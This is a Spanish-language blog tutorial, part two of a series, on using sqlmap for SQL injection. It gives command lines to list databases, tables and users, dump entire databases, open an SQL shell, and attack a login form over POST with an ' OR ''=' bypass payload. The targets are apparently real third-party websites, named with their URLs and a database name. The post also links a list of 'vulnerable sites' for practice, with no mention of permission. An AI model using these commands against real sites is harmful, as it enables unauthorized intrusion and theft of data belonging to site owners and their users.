Haciendo Inyecciones SQL con SQLmap — Parte 2

Jeison Samir Castro S.
devStories
Published in
6 min readAug 3, 2016

En un post anterior había mencionado la herramienta para SQL injection, en donde explicaba parte de su instalación y uso, en este post continuamos, y para entenderlo mejor, lo haré con ejemplos reales.

Nos vamos donde tengamos instalado el programa y con el parámetro -u se especifica la URL del sitio web.

$ python sqlmap.py -u [URL]

Con el parámetro — dbs se listan las bases de datos que dispone el sitio, damos enter:

$ python sqlmap.py -u “http://www.apolloqueen.com/profile.php?id=125”--dbs

Aquí dejamos que SQLmap nos escanee y haga lo suyo, podrán notar que esta acción toma algunos minutos esto depende de la velocidad de nuestra red y de la cantidad de base de datos tablas y columnas esté escaneando el programa, si notan mensajes en rojo no hay problema, es SQLmap que busca columnas de la BD inyectables, solo un poquito de paciencia.

Listo¡ vamos a notar que incluso nos muestra sobre qué servidor y qué distro está corriendo la app, el lenguaje de programación que está usando y su versión, el servidor de páginas web y su versión y lo más importante el SGDB con su respectiva versión, y mas abajo las bases de datos escaneadas, las creadas por el usuario mas las propias de mysql, es decir toda una lista bastante detallada como para luego poder manipularla.

Esto no se acaba hasta que se acaba … seguimos.

Para indicar la base de datos que queremos usar se utiliza el parámetro -D y con el parámetro — tables se listan las tablas de esa base de datos:

$ python sqlmap.py -u "http://www.apolloqueen.com/profile.php?id=125" -D apollohe_459845 --tables

Ahora ya tenemos las tablas de la base de datos, pero ¿Qué contendrá?

Para indicar la tabla en la base de datos se utiliza el parámetro -T y con el parámetro — dump se puede mostrar su contenido:

$ python sqlmap.py -u [URL] -D [database] -T [table] --dump

La verdad es que la terminal es un tanto pequeña para mostrar todo el contenido, el screenshot de arriba solo es una parte.

Para mostrar todo el contenido de la base de datos utilizar el parámetro — all:

$ python sqlmap.py -u [URL] -D [database] --dump –all

Para mostrar la base de datos de la conexión actual:

$ python sqlmap.py -u [URL] -p id --current-db

Para mostrar todos los usuarios de las bases de datos:

$ python sqlmap.py -u [URL] --users

Extraer las columnas de una tabla con el parámetro — columns:

$ python sqlmap.py -u [URL] -D [database] -T [table] --columns

Podemos también ingresar a una shell interactiva con sql shell

$ python sqlmap.py -u [URL] --sql-shell

SQLmap utilizando el método Post

Para realizar un ataque con SQLmap generalmente utilizamos el método GET pero no siempre será así, es por ello que necesitamos construir o probar datos falsos o crear algunos bypasses cuando estamos frente a un login.

Aquí estos bypasses famosos nos podrían ayudar ‘ or ‘1’=’1 esto nos servirá para hacer uniones dentro de la BD pasándole algunos parámetros a SQLmap, con la ayuda esta vez de la herramienta de desarrollo de nuestro navegador. Veamos lo siguiente.

Para este ejemplo usaré un sitio web que encontré escrito en ASP.NET. https://e.cerrey.com.mx/ecerrey/asp/login.asp

Al darle en Log in podremos ingresar pero no podremos ver la estructura y los datos que se encuentran en la BD, este bypass solo nos servirá para poder ingresar como un usuario cualquiera de la bd. Pero sin embargo es un buen recurso para utilizarlo con SQLmap.

Vamos a observar lo siguiente haciendo click derecho sobre la página e ingresando a inspeccionar elementos.

  • Primero tenemos que observar cada elemento como el campo de usuarios.
  • Segundo, en el campo de contraseña vamos a observar en la linea azul con que nombre se encuentra dicho campo lo mismo con el campo usuario y Log in.
  • Y por último el submit que esta con el nombre Log in, esto es de vital importancia ya que los datos serán enviados por este.

Una vez observado esto podremos usar SQLmap teniendo en cuenta que esta ves usaremos el parámetro –data el cual enviaran por el método POST el bypass que encontramos en el sitio.

$ python ./sqlmap.py -u "https://e.cerrey.com.mx/ecerrey/asp/login.asp" --data="id='OR''='&contra='OR''='&submit=Log-in" -p "id" --level=5 –dbs

Observemos que el resultado es el mismo como lo veníamos viendo solo que la complejidad de los parámetros cambio un poco.

Con — data lo que hacemos es que al campo con nombre id le estamos asignando el código o bypass luego para enviar todo en cadena se utiliza el símbolo & y seguido el campo con nombre contra y lo mismo con el submit, con –-level=5 forzamos un escaneo más detallado (esto puede tomar varios minutos pero el resultado valdrá la pena ).

Existen otras herramientas muy buenas como Live HTTP Headers que nos muestran las cabeceras de las páginas que visitamos es decir nos lista cada segundo que ingresamos a una web sus detalles como host, cookie, date, etc. Y en todo ello podemos encontrar también explícitamente el detalle de los campos de login y luego usarlos como paramentos en el ejemplo anterior.

Bueno espero que sea de utilidad este pequeño aporte, lo único que sigue es practicar mucho con la herramienta.

Aquí les dejo las páginas que les comentaba para hacer pruebas

Y este enlace en donde publican link de sitios web con login, pero con vulnerabilidades.

https://www.facebook.com/notes/guerrilla-comunicacional-m%C3%A9xico/sitios-webs-vulnerables-con-algo-de-conocimientos-informaticos/192087200806636

Ideal para hacer pruebas con el método POST.

Puedes revisar:

Espero que este artículo sea de tu agrado y si te gustó dale click en el ❤, gracias.

--

--